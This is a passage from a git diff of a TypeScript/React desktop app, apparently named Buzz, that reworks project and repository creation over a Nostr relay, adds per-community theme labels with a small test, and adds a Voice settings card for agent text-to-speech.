+import { signRelayEvent } from "@/shared/api/tauri";
+import { getIdentity } from "@/shared/api/tauriIdentity";
+import { getCachedRelayOrigin } from "@/shared/lib/mediaUrl";
+
+type BindProjectRepositoryChannelInput = {
+  channelId: string;
+  repository: Repository;
+};
+
+async function bindProjectRepositoryChannel({
+  channelId,
+  repository,
+}: BindProjectRepositoryChannelInput): Promise<Repository> {
+  const identity = await getIdentity();
+  const template = buildRepositoryChannelBindingTemplate({
+    channelId,
+    ownerPubkey: identity.pubkey,
+    repository,
+  });
+  const event = await signRelayEvent({
+    ...template,
+    createdAt: Math.max(
+      Math.floor(Date.now() / 1_000),
+      repository.createdAt + 1,
+    ),
+  });
+  await relayClient.publishEvent(
+    event,
+    "Timed out repairing repository access.",
+    "Failed to repair repository access.",
+  );
+
+  const updated = eventToRepository(event, getCachedRelayOrigin());
+  if (!updated) {
+    throw new Error("Repository access was repaired but could not be read.");
+  }
+  return updated;
+}
+
+export function useBindProjectRepositoryChannelMutation() {
+  const queryClient = useQueryClient();
+  return useMutation({
+    mutationFn: bindProjectRepositoryChannel,
+    onSuccess: (repository) => {
+      queryClient.setQueryData<Project[]>(projectsQueryKey, (current = []) =>
+        current.map((project) => ({
+          ...project,
+          repositories: project.repositories.map((candidate) =>
+            candidate.repoAddress === repository.repoAddress
+              ? repository
+              : candidate,
+          ),
+        })),
+      );
+      void queryClient.invalidateQueries({ queryKey: projectsQueryKey });
+    },
+  });
+}
diff --git a/desktop/src/features/projects/useCreateProject.ts b/desktop/src/features/projects/useCreateProject.ts
index fce3e0fd8e..5ac149ebd1 100644
--- a/desktop/src/features/projects/useCreateProject.ts
+++ b/desktop/src/features/projects/useCreateProject.ts
@@ -1,96 +1,146 @@
+import * as React from "react";
 import { useMutation, useQueryClient } from "@tanstack/react-query";
 
 import {
-  eventToProject,
   fetchProjects,
   type Project,
   projectsQueryKey,
 } from "@/features/projects/hooks";
+import {
+  buildInitialProjectEventTemplates,
+  isUnsupportedProjectKindError,
+} from "@/features/projects/projectCreation";
+import { buildProjectReadModels } from "@/features/projects/projectModels";
 import { relayClient } from "@/shared/api/relayClient";
 import { getCachedRelayOrigin } from "@/shared/lib/mediaUrl";
 import { signRelayEvent } from "@/shared/api/tauri";
 import { getIdentity } from "@/shared/api/tauriIdentity";
-import { KIND_REPO_ANNOUNCEMENT } from "@/shared/constants/kinds";
 
 export type CreateProjectInput = {
+  accessChannelId: string;
   name: string;
   description?: string;
   cloneUrl?: string;
   webUrl?: string;
 };
 
-function projectDtagFromName(name: string): string {
-  return name
-    .toLowerCase()
-    .replace(/[^a-z0-9]+/g, "-")
-    .replace(/^-+|-+$/g, "");
-}
-
-/** Publishes a NIP-34 repo announcement so the project appears on the relay. */
-async function createProject(input: CreateProjectInput): Promise<Project> {
-  const name = input.name.trim();
-  if (!name) {
-    throw new Error("Project name is required.");
-  }
-  const dtag = projectDtagFromName(name);
-  if (!dtag) {
-    throw new Error("Project name must include letters or numbers.");
-  }
+export type CreateProjectResult = {
+  project: Project;
+  compatibilityWarning?: string;
+};
 
+/** Publishes a project announcement and its initial NIP-34 repository. */
+async function createProject(
+  input: CreateProjectInput,
+  resumableProjectIds: Set<string>,
+): Promise<CreateProjectResult> {
   const identity = await getIdentity();
+  const templates = buildInitialProjectEventTemplates({
+    ...input,
+    ownerPubkey: identity.pubkey,
+  });
   const existing = await fetchProjects();
   const ownerPubkey = identity.pubkey.toLowerCase();
-  if (
-    existing.some(
-      (project) =>
-        project.owner.toLowerCase() === ownerPubkey && project.dtag === dtag,
-    )
-  ) {
-    throw new Error(`You already have a project named "${dtag}".`);
-  }
-
-  const description = input.description?.trim() ?? "";
-  const tags: string[][] = [
-    ["d", dtag],
-    ["name", name],
-  ];
-  if (description) {
-    tags.push(["description", description]);
+  const existingProject = existing.find(
+    (project) =>
+      project.owner.toLowerCase() === ownerPubkey &&
+      project.dtag === templates.dtag,
+  );
+  const projectId = `${ownerPubkey}:${templates.dtag}`;
+  const canResume = resumableProjectIds.has(projectId);
+  if (existingProject && !canResume) {
+    throw new Error(`You already have a project named "${templates.dtag}".`);
   }
-  const cloneUrl = input.cloneUrl?.trim();
-  if (cloneUrl) {
-    tags.push(["clone", cloneUrl]);
+  if (existingProject && !existingProject.legacy) {
+    if (
+      existingProject.repositories.some(
+        (repository) => repository.repoAddress === templates.repositoryAddress,
+      )
+    ) {
+      resumableProjectIds.delete(projectId);
+      return { project: existingProject };
+    }
+    throw new Error(`You already have a project named "${templates.dtag}".`);
   }
-  const webUrl = input.webUrl?.trim();
-  if (webUrl) {
-    tags.push(["web", webUrl]);
+
+  resumableProjectIds.add(projectId);
+  const projectEvent = await signRelayEvent(templates.project);
+
+  let repositoryEvent = null;
+  if (!existingProject) {
+    repositoryEvent = await signRelayEvent(templates.repository);
+    await relayClient.publishEvent(
+      repositoryEvent,
+      "Timed out creating the initial repository.",
+      "Failed to create the initial repository.",
+    );
   }
 
-  const event = await signRelayEvent({
-    kind: KIND_REPO_ANNOUNCEMENT,
-    content: description,
-    tags,
-  });
+  try {
+    await relayClient.publishEvent(
+      projectEvent,
+      "Timed out creating project.",
+      "Failed to create project.",
+    );
+  } catch (error) {
+    if (!isUnsupportedProjectKindError(error)) throw error;
 
-  await relayClient.publishEvent(
-    event,
-    "Timed out creating project.",
-    "Failed to create project.",
-  );
+    const [legacyProject] = existingProject?.legacy
+      ? [existingProject]
+      : buildProjectReadModels({
+          projectEvents: [],
+          repositoryEvents: repositoryEvent ? [repositoryEvent] : [],
+          relayOrigin: getCachedRelayOrigin(),
+        });
+    if (!legacyProject) throw error;
+
+    resumableProjectIds.delete(projectId);
+    return {
+      project: legacyProject,
+      compatibilityWarning:
+        "The repository was created, but this relay does not support multi-repository projects yet. It will appear as a standalone project.",
+    };
+  }
 
-  return eventToProject(event, getCachedRelayOrigin());
+  const [project] = repositoryEvent
+    ? buildProjectReadModels({
+        projectEvents: [projectEvent],
+        repositoryEvents: [repositoryEvent],
+        relayOrigin: getCachedRelayOrigin(),
+      })
+    : (await fetchProjects()).filter(
+        (candidate) =>
+          candidate.owner.toLowerCase() === ownerPubkey &&
+          candidate.dtag === templates.dtag &&
+          !candidate.legacy,
+      );
+  if (!project) {
+    throw new Error("The project was created but could not be read.");
+  }
+  resumableProjectIds.delete(projectId);
+  return { project };
 }
 
 /** Mutation that creates a project and inserts it into the projects cache. */
 export function useCreateProjectMutation() {
   const queryClient = useQueryClient();
+  const resumableProjectIdsRef = React.useRef(new Set<string>());
 
   return useMutation({
-    mutationFn: createProject,
-    onSuccess: (project) => {
+    mutationFn: (input: CreateProjectInput) =>
+      createProject(input, resumableProjectIdsRef.current),
+    onSuccess: ({ project }) => {
       queryClient.setQueryData<Project[]>(projectsQueryKey, (current = []) => [
         project,
-        ...current,
+        ...current.filter(
+          (candidate) =>
+            candidate.id !== project.id &&
+            !(
+              candidate.legacy &&
+              candidate.owner === project.owner &&
+              candidate.dtag === project.dtag
+            ),
+        ),
       ]);
       void queryClient.invalidateQueries({ queryKey: projectsQueryKey });
     },
diff --git a/desktop/src/features/projects/useProjectCommitDiff.ts b/desktop/src/features/projects/useProjectCommitDiff.ts
index ba3ab5fc80..1151cdffe2 100644
--- a/desktop/src/features/projects/useProjectCommitDiff.ts
+++ b/desktop/src/features/projects/useProjectCommitDiff.ts
@@ -5,7 +5,7 @@ import {
   getProjectRepoDiff,
 } from "@/shared/api/projectGit";
 import type { ProjectRepoDiff } from "@/shared/api/types";
-import type { Project } from "./hooks";
+import type { Repository as Project } from "./hooks";
 
 async function fetchProjectCommitDiff(
   project: Project,
diff --git a/desktop/src/features/projects/useProjectRepoHost.ts b/desktop/src/features/projects/useProjectRepoHost.ts
new file mode 100644
index 0000000000..c274089b9e
--- /dev/null
+++ b/desktop/src/features/projects/useProjectRepoHost.ts
@@ -0,0 +1,41 @@
+import type { Repository } from "@/features/projects/hooks";
+import {
+  type ProjectRepoHost,
+  projectRepoHostForRepository,
+} from "@/features/projects/lib/projectRepoHost";
+import { isSafeUrl } from "@/shared/lib/url";
+import { useRelayOrigin } from "@/shared/lib/useRelayOrigin";
+
+export function useProjectRepoHost(
+  repository: Repository | null | undefined,
+): ProjectRepoHost {
+  return projectRepoHostForRepository(repository, useRelayOrigin());
+}
+
+export function useProjectRepoPresentation(
+  repository: Repository | null | undefined,
+) {
+  const host = useProjectRepoHost(repository);
+  const webUrl =
+    repository?.webUrl && isSafeUrl(repository.webUrl)
+      ? repository.webUrl
+      : null;
+
+  return {
+    host,
+    webUrl,
+    canCloneLocally:
+      host.kind === "buzz" ||
+      (host.kind === "external" && host.host === "github.com"),
+    controls: {
+      externalUrl: host.kind === "external" ? webUrl : null,
+      remoteKind: host.kind === "unresolved" ? undefined : host.kind,
+      remoteLabel:
+        host.kind === "external"
+          ? host.host
+          : host.kind === "buzz"
+            ? "Buzz"
+            : "Remote",
+    },
+  };
+}
diff --git a/desktop/src/features/projects/useProjectsRepoSnapshots.ts b/desktop/src/features/projects/useProjectsRepoSnapshots.ts
index 256c90a1e3..71899bd3c7 100644
--- a/desktop/src/features/projects/useProjectsRepoSnapshots.ts
+++ b/desktop/src/features/projects/useProjectsRepoSnapshots.ts
@@ -7,6 +7,11 @@ import {
 } from "@/shared/api/projectGit";
 import type { ProjectRepoSnapshot } from "@/shared/api/types";
 import type { Project } from "./hooks";
+import { selectProjectRepository } from "./projectModels";
+import {
+  type ProjectRepoUnavailableReason,
+  projectRepoUnavailableReason,
+} from "./lib/projectRepoAvailability";
 
 // Remote snapshots are backed by a blobless `git clone` per repository, so the
 // overview scan is deliberately throttled and cached for a long time.
@@ -27,33 +32,39 @@ async function fetchProjectSnapshot(
   project: Project,
   reposDir: string | null | undefined,
 ): Promise<ProjectRepoSnapshot | null> {
+  const repository = selectProjectRepository(project, null);
+  if (!repository) return null;
   try {
     const local = await getProjectLocalRepoSnapshot({
       reposDir,
-      projectDtag: project.dtag,
-      cloneUrl: project.cloneUrls[0] ?? null,
-      defaultBranch: project.defaultBranch,
-      baseBranch: project.defaultBranch,
+      projectDtag: repository.dtag,
+      cloneUrl: repository.cloneUrls[0] ?? null,
+      defaultBranch: repository.defaultBranch,
+      baseBranch: repository.defaultBranch,
     });
     if (snapshotHasData(local?.snapshot)) return local?.snapshot ?? null;
   } catch {
     // Best-effort: fall through to the remote snapshot.
   }
 
-  const cloneUrl = project.cloneUrls[0];
+  const cloneUrl = repository.cloneUrls[0];
   if (!cloneUrl) return null;
   return getProjectRepoSnapshot({
     cloneUrl,
-    defaultBranch: project.defaultBranch,
-    baseBranch: project.defaultBranch,
+    defaultBranch: repository.defaultBranch,
+    baseBranch: repository.defaultBranch,
   });
 }
 
 async function fetchProjectsRepoSnapshots(
   projects: Project[],
   reposDir: string | null | undefined,
-): Promise<Record<string, ProjectRepoSnapshot>> {
+): Promise<{
+  snapshots: Record<string, ProjectRepoSnapshot>;
+  unavailable: Record<string, ProjectRepoUnavailableReason>;
+}> {
   const snapshots: Record<string, ProjectRepoSnapshot> = {};
+  const unavailable: Record<string, ProjectRepoUnavailableReason> = {};
   const queue = [...projects];
 
   const workers = Array.from(
@@ -64,16 +75,20 @@ async function fetchProjectsRepoSnapshots(
         if (!project) return;
         try {
           const snapshot = await fetchProjectSnapshot(project, reposDir);
-          if (snapshot) snapshots[project.id] = snapshot;
-        } catch {
-          // Best-effort: unreachable or empty repositories are skipped.
+          if (snapshot) {
+            snapshots[project.id] = snapshot;
+          } else {
+            unavailable[project.id] = "missing";
+          }
+        } catch (error) {
+          unavailable[project.id] = projectRepoUnavailableReason(error);
         }
       }
     },
   );
 
   await Promise.all(workers);
-  return snapshots;
+  return { snapshots, unavailable };
 }
 
 /**
diff --git a/desktop/src/features/settings/lib/appearanceScopeCopy.test.mjs b/desktop/src/features/settings/lib/appearanceScopeCopy.test.mjs
new file mode 100644
index 0000000000..94a554b8c2
--- /dev/null
+++ b/desktop/src/features/settings/lib/appearanceScopeCopy.test.mjs
@@ -0,0 +1,19 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import { appearanceCommunityLabel } from "./appearanceScopeCopy.ts";
+
+test("labels the active community by name", () => {
+  assert.equal(appearanceCommunityLabel("Block Builders"), "Block Builders");
+});
+
+test("trims surrounding whitespace from the community name", () => {
+  assert.equal(appearanceCommunityLabel("  Buzz HQ  "), "Buzz HQ");
+});
+
+test("falls back to a generic label when no community is active", () => {
+  assert.equal(appearanceCommunityLabel(null), "this community");
+  assert.equal(appearanceCommunityLabel(undefined), "this community");
+  assert.equal(appearanceCommunityLabel(""), "this community");
+  assert.equal(appearanceCommunityLabel("   "), "this community");
+});
diff --git a/desktop/src/features/settings/lib/appearanceScopeCopy.ts b/desktop/src/features/settings/lib/appearanceScopeCopy.ts
new file mode 100644
index 0000000000..42de7f7fd4
--- /dev/null
+++ b/desktop/src/features/settings/lib/appearanceScopeCopy.ts
@@ -0,0 +1,20 @@
+/**
+ * Copy helper for the Appearance settings panel's per-community scoping.
+ *
+ * Theme, mode, and accent are saved per community (see
+ * `shared/theme/CommunityThemeController`), so the panel badges the community
+ * being customized. Kept as a pure function so the copy is unit-testable
+ * without rendering the settings tree.
+ */
+
+/**
+ * Display label for the community whose appearance is being edited.
+ * Falls back to a generic phrase when no community is active or the
+ * stored name is blank.
+ */
+export function appearanceCommunityLabel(
+  communityName: string | null | undefined,
+): string {
+  const trimmed = communityName?.trim();
+  return trimmed ? trimmed : "this community";
+}
diff --git a/desktop/src/features/settings/ui/ChannelTemplatesSettingsCard.tsx b/desktop/src/features/settings/ui/ChannelTemplatesSettingsCard.tsx
index 82680ae5a8..3b7da93df2 100644
--- a/desktop/src/features/settings/ui/ChannelTemplatesSettingsCard.tsx
+++ b/desktop/src/features/settings/ui/ChannelTemplatesSettingsCard.tsx
@@ -276,14 +276,16 @@ function TemplateRow({
   );
 }
 
-function TemplateFormDialog({
+export function TemplateFormDialog({
   template,
   open,
   onOpenChange,
+  onCreated,
 }: {
   template: ChannelTemplate | null;
   open: boolean;
   onOpenChange: (open: boolean) => void;
+  onCreated?: (template: ChannelTemplate) => void;
 }) {
   const isEditing = template !== null;
   const createMutation = useCreateChannelTemplateMutation();
@@ -388,8 +390,9 @@ function TemplateFormDialog({
       };
 
       createMutation.mutate(input, {
-        onSuccess: () => {
+        onSuccess: (created) => {
           toast.success(`Created "${trimmedName}"`);
+          onCreated?.(created);
           onOpenChange(false);
         },
         onError: (error) => {
diff --git a/desktop/src/features/settings/ui/SettingsPanels.tsx b/desktop/src/features/settings/ui/SettingsPanels.tsx
index e74d1f3837..901c9152b7 100644
--- a/desktop/src/features/settings/ui/SettingsPanels.tsx
+++ b/desktop/src/features/settings/ui/SettingsPanels.tsx
@@ -21,6 +21,7 @@ import {
   SunMoon,
   Ticket,
   UserRound,
+  Volume2,
   type LucideIcon,
 } from "lucide-react";
 import type {
@@ -37,7 +38,10 @@ import {
   type ThreadViewMode,
 } from "@/features/channels/lib/threadViewModePreference";
 import { cn } from "@/shared/lib/cn";
+import { useCommunities } from "@/features/communities/useCommunities";
+import { Badge } from "@/shared/ui/badge";
 import { Button } from "@/shared/ui/button";
+import { SectionHeader } from "@/shared/ui/PageHeader";
 import {
   DropdownMenu,
   DropdownMenuContent,
@@ -68,6 +72,7 @@ import {
   useThemePreviewVars,
   withAccentPreviewVars,
 } from "@/shared/theme/useThemePreviewVars";
+import { appearanceCommunityLabel } from "../lib/appearanceScopeCopy";
 import { ChannelTemplatesSettingsCard } from "./ChannelTemplatesSettingsCard";
 import { HarnessesSettingsPanel } from "./HarnessesSettingsPanel";
 import { ExperimentalFeaturesCard } from "./ExperimentalFeaturesCard";
@@ -83,10 +88,12 @@ import { SettingsOptionGroup, SettingsOptionRow } from "./SettingsOptionGroup";
 import { ProfileSettingsCard } from "./ProfileSettingsCard";
 import { UpdateChecker } from "../UpdateChecker";
 import { SettingsSectionHeader } from "./SettingsSectionHeader";
+import { VoiceSettingsCard } from "./VoiceSettingsCard";
 
 export type SettingsSection =
   | "profile"
   | "notifications"
+  | "voice"
   | "experimental"
   | "agents"
   | "channel-templates"
@@ -106,6 +113,7 @@ export const DEFAULT_SETTINGS_SECTION: SettingsSection = "profile";
 const SETTINGS_SECTION_VALUES: readonly SettingsSection[] = [
   "profile",
   "notifications",
+  "voice",
   "experimental",
   "agents",
   "channel-templates",
@@ -167,6 +175,11 @@ export const settingsSections: SettingsSectionDescriptor[] = [
     label: "Notifications",
     icon: BellRing,
   },
+  {
+    value: "voice",
+    label: "Voice",
+    icon: Volume2,
+  },
   {
     value: "experimental",
     label: "Experiments",
@@ -180,7 +193,7 @@ export const settingsSections: SettingsSectionDescriptor[] = [
   },
   {
     value: "channel-templates",
-    label: "Templates",
+    label: "Channel templates",
     icon: LayoutTemplate,
     featureGate: "channel-templates",
   },
@@ -420,6 +433,13 @@ function ThemeSettingsCard() {
     setFollowSystem,
   } = useTheme();
 
+  // Per-community scoping labels only earn their place when the user is
+  // actually in more than one community; with a single community there is
+  // nothing to disambiguate.
+  const { activeCommunity, communities } = useCommunities();
+  const showCommunityScope = communities.length > 1;
+  const communityLabel = appearanceCommunityLabel(activeCommunity?.name);
+
   // Buzz themes pin a neutral accent (GitHub black in light, white in dark),
   // so the accent picker is hidden while a Buzz theme is active. `themeName` is
   // the effective theme, so this also covers System mode resolving to Buzz.
@@ -520,6 +540,34 @@ function ThemeSettingsCard() {
         description="Choose a theme for Buzz."
       />
 
+      {/* Mode, theme, and accent are saved per community
+          (CommunityThemeController restores them on switch). When the user is
+          in multiple communities, a subheader with an inline badge names the
+          community being edited; with one community there is nothing to
+          disambiguate, so no scoping labels are shown. */}
+      {showCommunityScope ? (
+        <SectionHeader
+          className="mb-4"
+          title={
+            <span className="flex min-w-0 items-center gap-2">
+              Theme{" "}
+              <span className="font-normal text-muted-foreground">
+                (per community)
+              </span>
+              {activeCommunity ? (
+                <Badge
+                  className="max-w-56 shrink-0 font-medium normal-case tracking-normal"
+                  data-testid="appearance-community-badge"
+                  variant="outline"
+                >
+                  <span className="truncate">{communityLabel}</span>
+                </Badge>
+              ) : null}
+            </span>
+          }
+        />
+      ) : null}
+
       {/* Mode selector: System / Light / Dark */}
       <div className="mb-4 flex gap-2">
         {(
@@ -675,6 +723,11 @@ const THREAD_VIEW_MODE_OPTIONS: {
  */
 function ThreadLayoutSetting() {
   const threadViewMode = useThreadViewMode();
+  // The "(all communities)" qualifier contrasts with the per-community theme
+  // controls above; it's only meaningful when the user has multiple
+  // communities.
+  const { communities } = useCommunities();
+  const showCommunityScope = communities.length > 1;
   const activeOption =
     THREAD_VIEW_MODE_OPTIONS.find(
       (option) => option.value === threadViewMode,
@@ -684,7 +737,15 @@ function ThreadLayoutSetting() {
     <SettingsOptionGroup className="mt-8">
       <SettingsOptionRow>
         <div className="min-w-0">
-          <p className="text-sm font-medium">Thread layout</p>
+          <p className="text-sm font-medium">
+            Thread layout
+            {showCommunityScope ? (
+              <span className="font-normal text-muted-foreground">
+                {" "}
+                (all communities)
+              </span>
+            ) : null}
+          </p>
           <p className="text-sm font-normal text-muted-foreground">
             {activeOption.description}
           </p>
@@ -807,6 +868,8 @@ export function renderSettingsSection(
           onSetSoundForSlot={props.onSetSoundForSlot}
         />
       );
+    case "voice":
+      return <VoiceSettingsCard />;
     case "experimental":
       return <ExperimentalFeaturesCard />;
     case "agents":
diff --git a/desktop/src/features/settings/ui/SettingsView.tsx b/desktop/src/features/settings/ui/SettingsView.tsx
index 20389b420a..991029dca7 100644
--- a/desktop/src/features/settings/ui/SettingsView.tsx
+++ b/desktop/src/features/settings/ui/SettingsView.tsx
@@ -58,14 +58,16 @@ const settingsNavGroups: Array<{
       "profile",
       "appearance",
       "notifications",
+      "voice",
       "shortcuts",
       "custom-emoji",
       "local-archive",
+      "channel-templates",
     ],
   },
   {
     label: "Communities",
-    sections: ["hosted-communities", "channel-templates", "community-members"],
+    sections: ["hosted-communities", "community-members"],
   },
   {
     label: "App",
diff --git a/desktop/src/features/settings/ui/VoiceSettingsCard.tsx b/desktop/src/features/settings/ui/VoiceSettingsCard.tsx
new file mode 100644
index 0000000000..30d259fece
--- /dev/null
+++ b/desktop/src/features/settings/ui/VoiceSettingsCard.tsx
@@ -0,0 +1,374 @@
+import * as React from "react";
+import { ChevronDown, Play, Trash2, Upload, Volume2 } from "lucide-react";
+
+import { invokeTauri } from "@/shared/api/tauri";
+import { cn } from "@/shared/lib/cn";
+import { Button } from "@/shared/ui/button";
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogTitle,
+} from "@/shared/ui/alert-dialog";
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuRadioGroup,
+  DropdownMenuRadioItem,
+  DropdownMenuTrigger,
+} from "@/shared/ui/dropdown-menu";
+import { Switch } from "@/shared/ui/switch";
+import { SettingsOptionGroup, SettingsOptionRow } from "./SettingsOptionGroup";
+import { SettingsSectionHeader } from "./SettingsSectionHeader";
+import {
+  selectedVoiceForBackend,
+  type VoiceRegistryEntry,
+  voiceOptionLabel,
+  voicesForBackend,
+} from "./voiceSettingsLogic";
+
+export type TtsSettings = {
+  version: number;
+  agentTextToSpeech: boolean;
+  voicePreferences: string[];
+};
+
+type TtsVoiceMutation = {
+  settings: TtsSettings;
+  registry: VoiceRegistryEntry[];
+};
+
+export function VoiceSettingsCard() {
+  const [settings, setSettings] = React.useState<TtsSettings | null>(null);
+  const [registry, setRegistry] = React.useState<VoiceRegistryEntry[]>([]);
+  const [busy, setBusy] = React.useState(false);
+  const [previewing, setPreviewing] = React.useState(false);
+  const [deleteCandidate, setDeleteCandidate] =
+    React.useState<VoiceRegistryEntry | null>(null);
+  const [error, setError] = React.useState<string | null>(null);
+
+  React.useEffect(() => {
+    let disposed = false;
+    Promise.all([
+      invokeTauri<TtsSettings>("get_tts_settings"),
+      invokeTauri<VoiceRegistryEntry[]>("list_voice_registry"),
+    ])
+      .then(([nextSettings, nextRegistry]) => {
+        if (!disposed) {
+          setSettings(nextSettings);
+          setRegistry(nextRegistry);
+        }
+      })
+      .catch((loadError) => {
+        if (!disposed) {
+          setError(
+            loadError instanceof Error
+              ? loadError.message
+              : "Voice settings could not be loaded.",
+          );
+        }
+      });
+    return () => {
+      disposed = true;
+    };
+  }, []);
+
+  const saveEnabled = React.useCallback(async (enabled: boolean) => {
+    setBusy(true);
+    setError(null);
+    try {
+      const saved = await invokeTauri<TtsSettings>("set_tts_enabled", {
+        enabled,
+      });
+      setSettings(saved);
+    } catch (saveError) {
+      try {
+        const state = await invokeTauri<{ tts_enabled: boolean }>(
+          "get_huddle_state",
+        );
+        setSettings((current) =>
+          current
+            ? { ...current, agentTextToSpeech: state.tts_enabled }
+            : current,
+        );
+      } catch {
+        // Keep the last confirmed state when native reconciliation is
+        // unavailable; the visible save error makes the failure explicit.
+      }
+      setError(
+        saveError instanceof Error
+          ? saveError.message
+          : "Voice settings could not be saved.",
+      );
+    } finally {
+      setBusy(false);
+    }
+  }, []);
+
+  const savePocketVoice = React.useCallback(async (voiceKey: string) => {
+    setBusy(true);
+    setError(null);
+    try {
+      const saved = await invokeTauri<TtsSettings>("set_pocket_voice", {
+        voiceKey,
+      });
+      setSettings(saved);
+    } catch (saveError) {
+      setError(
+        saveError instanceof Error
+          ? saveError.message
+          : "Voice settings could not be saved.",
+      );
+    } finally {
+      setBusy(false);
+    }
+  }, []);
+
+  const importPocketVoice = React.useCallback(async () => {
+    setBusy(true);
+    setError(null);
+    try {
+      const result = await invokeTauri<TtsVoiceMutation | null>(
+        "import_pocket_voice",
+      );
+      if (result) {
+        setSettings(result.settings);
+        setRegistry(result.registry);
+      }
+    } catch (importError) {
+      setError(
+        importError instanceof Error
+          ? importError.message
+          : "Voice could not be imported.",
+      );
+    } finally {
+      setBusy(false);
+    }
+  }, []);
+
+  const deletePocketVoice = React.useCallback(async (voiceKey: string) => {
+    setBusy(true);
+    setError(null);
+    try {
+      const result = await invokeTauri<TtsVoiceMutation>(
+        "delete_pocket_voice",
+        { voiceKey },
+      );
+      setSettings(result.settings);
+      setRegistry(result.registry);
+      setDeleteCandidate(null);
+    } catch (deleteError) {
+      setError(
+        deleteError instanceof Error
+          ? deleteError.message
+          : "Voice could not be deleted.",
+      );
+    } finally {
+      setBusy(false);
+    }
+  }, []);
+
+  const voices = voicesForBackend(registry, "pocket");
+  const selectedVoice = selectedVoiceForBackend(
+    settings?.voicePreferences ?? [],
+    voices,
+  );
+  const enabled = settings?.agentTextToSpeech ?? true;
+  const controlsDisabled = !settings || busy || !enabled;
+
+  return (
+    <section className="min-w-0" data-testid="settings-voice">
+      <SettingsSectionHeader
+        title="Voice"
+        description="Choose whether Buzz reads new agent responses aloud during an active huddle."
+      />
+
+      <div className="flex flex-col gap-4">
+        <SettingsOptionGroup>
+          <SettingsOptionRow>
+            <div className="min-w-0">
+              <label
+                className="text-sm font-medium"
+                htmlFor="agent-text-to-speech-switch"
+              >
+                Agent text to speech
+              </label>
+              <p className="text-sm text-muted-foreground">
+                Read new agent messages aloud in the order they arrive.
+              </p>
+            </div>
+            <Switch
+              checked={enabled}
+              data-testid="agent-text-to-speech-toggle"
+              disabled={!settings || busy}
+              id="agent-text-to-speech-switch"
+              onCheckedChange={(checked) => {
+                if (settings) void saveEnabled(checked);
+              }}
+            />
+          </SettingsOptionRow>
+        </SettingsOptionGroup>
+
+        <div
+          aria-disabled={!enabled}
+          className={cn(
+            "transition-opacity",
+            !enabled && "pointer-events-none opacity-45",
+          )}
+          data-testid="pocket-voice-controls"
+        >
+          <SettingsOptionGroup>
+            <SettingsOptionRow>
+              <div className="min-w-0">
+                <p className="text-sm font-medium">Pocket TTS voice</p>
+                <p className="text-sm text-muted-foreground">
+                  Voice files stay private on this device.
+                </p>
+              </div>
+
+              <div className="flex shrink-0 items-center gap-2">
+                <DropdownMenu>
+                  <DropdownMenuTrigger asChild>
+                    <Button
+                      aria-label={`Pocket TTS voice: ${selectedVoice?.displayName ?? "Mary"}`}
+                      className="min-w-32 justify-between"
+                      data-testid="pocket-voice-selector"
+                      disabled={controlsDisabled}
+                      variant="outline"
+                    >
+                      {selectedVoice
+                        ? voiceOptionLabel(selectedVoice, voices)
+                        : "Mary"}
+                      <ChevronDown className="h-4 w-4" />
+                    </Button>
+                  </DropdownMenuTrigger>
+                  <DropdownMenuContent
+                    align="end"
+                    className="max-h-80 overflow-y-auto"
+                  >
+                    <DropdownMenuRadioGroup
+                      onValueChange={(voiceKey) => {
+                        if (settings) void savePocketVoice(voiceKey);
+                      }}
+                      value={selectedVoice?.key}
+                    >
+                      {voices.map((voice) => (
+                        <DropdownMenuRadioItem
+                          key={voice.key}
+                          value={voice.key}
+                        >
+                          {voiceOptionLabel(voice, voices)}
+                        </DropdownMenuRadioItem>
+                      ))}
+                    </DropdownMenuRadioGroup>
+                  </DropdownMenuContent>
+                </DropdownMenu>
+                <Button
+                  aria-label={`Preview ${selectedVoice?.displayName ?? "Mary"}`}
+                  data-testid="pocket-voice-preview"
+                  disabled={controlsDisabled || previewing || !selectedVoice}
+                  onClick={() => {
+                    if (!selectedVoice) return;
+                    setPreviewing(true);
+                    setError(null);
+                    void invokeTauri<void>("preview_pocket_voice", {
+                      voiceKey: selectedVoice.key,
+                    })
+                      .catch((previewError) => {
+                        setError(
+                          previewError instanceof Error
+                            ? previewError.message
+                            : "Voice preview could not be played.",
+                        );
+                      })
+                      .finally(() => setPreviewing(false));
+                  }}
+                  size="sm"
+                  variant="outline"
+                >
+                  {previewing ? (
+                    <Volume2 className="h-4 w-4 animate-pulse" />
+                  ) : (
+                    <Play className="h-4 w-4" />
+                  )}
+                  Preview
+                </Button>
+                <Button
+                  data-testid="pocket-voice-import"
+                  disabled={controlsDisabled}
+                  onClick={() => void importPocketVoice()}
+                  size="sm"
+                  variant="outline"
+                >
+                  <Upload className="h-4 w-4" />
+                  Add voice
+                </Button>
+                {selectedVoice?.key.startsWith("pocket:imported:") && (
+                  <Button
+                    aria-label={`Delete ${selectedVoice.displayName}`}
+                    data-testid="pocket-voice-delete"
+                    disabled={controlsDisabled}
+                    onClick={() => setDeleteCandidate(selectedVoice)}
+                    size="icon"
+                    variant="ghost"
+                  >
+                    <Trash2 className="h-4 w-4" />
+                  </Button>
+                )}
+              </div>
+            </SettingsOptionRow>
+          </SettingsOptionGroup>
+        </div>
+
+        {error && (
+          <p
+            className="text-sm text-destructive"
+            data-testid="voice-settings-error"
+            role="alert"
+          >
+            {error}
+          </p>
+        )}
+      </div>
+      <AlertDialog
+        onOpenChange={(open) => {
+          if (!open) setDeleteCandidate(null);
+        }}
+        open={deleteCandidate !== null}
+      >
+        <AlertDialogContent>
+          <AlertDialogHeader>
+            <AlertDialogTitle>Delete imported voice?</AlertDialogTitle>
+            <AlertDialogDescription>
+              {deleteCandidate
+                ? `${deleteCandidate.displayName} and its local audio file will be removed.`
+                : "This imported voice and its local audio file will be removed."}
+              {selectedVoice?.key === deleteCandidate?.key &&
+                " Mary will be selected instead."}
+            </AlertDialogDescription>
+          </AlertDialogHeader>
+          <AlertDialogFooter>
+            <AlertDialogCancel disabled={busy}>Cancel</AlertDialogCancel>
+            <AlertDialogAction
+              className="bg-destructive text-destructive-foreground hover:bg-destructive/90"
+              data-testid="confirm-pocket-voice-delete"
+              disabled={busy || !deleteCandidate}
+              onClick={(event) => {
+                event.preventDefault();
+                if (deleteCandidate) {
+                  void deletePocketVoice(deleteCandidate.key);
+                }
+              }}
+            >
+              Delete voice
+            </AlertDialogAction>
+          </AlertDialogFooter>
+        </AlertDialogContent>
+      </AlertDialog>
